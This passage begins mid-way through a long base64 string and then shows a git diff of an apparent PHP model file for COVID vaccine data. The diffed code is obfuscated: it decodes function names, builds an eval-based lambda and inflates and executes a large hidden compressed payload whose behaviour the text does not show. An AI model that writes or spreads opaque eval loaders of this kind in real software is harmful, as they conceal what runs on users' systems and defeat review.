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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Vaksin_covid_model.php b/donjo-app/models/Vaksin_covid_model.php index d14c06e18..845338605 100644 --- a/donjo-app/models/Vaksin_covid_model.php +++ b/donjo-app/models/Vaksin_covid_model.php @@ -260,7 +260,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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